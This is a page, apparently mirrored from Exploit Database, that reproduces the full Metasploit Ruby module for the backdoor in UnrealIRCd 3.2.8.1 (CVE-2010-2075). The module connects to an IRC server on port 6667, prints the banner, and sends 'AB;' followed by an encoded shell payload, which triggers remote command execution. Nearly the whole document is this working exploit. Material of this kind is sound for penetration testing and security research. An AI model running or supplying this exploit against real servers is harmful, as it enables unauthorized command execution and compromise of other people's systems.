UnrealIRCd 3.2.8.1 – Backdoor Command Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-12-05
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16922/

• ##
  # $Id: unreal_ircd_3281_backdoor.rb 11227 2010-12-05 15:08:22Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
  			'Description'=> %q{
  					This module exploits a malicious backdoor that was added to the
  				Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
  				Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11227 $',
  			'References' =>
  				[
  					[ 'CVE', '2010-2075' ],
  					[ 'OSVDB', '65445' ],
  					[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby bash telnet',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic Target', { }]
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Jun 12 2010'))
  
  		register_options(
  			[
  				Opt::RPORT(6667)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		print_status("Connected to #{rhost}:#{rport}...")
  		banner = sock.get_once(-1, 30)
  		banner.to_s.split("\n").each do |line|
  			print_line("#{line}")
  		end
  
  		print_status("Sending backdoor command...")
  		sock.put("AB;" + payload.encoded + "\n")
  
  		handler
  		disconnect
  	end
  end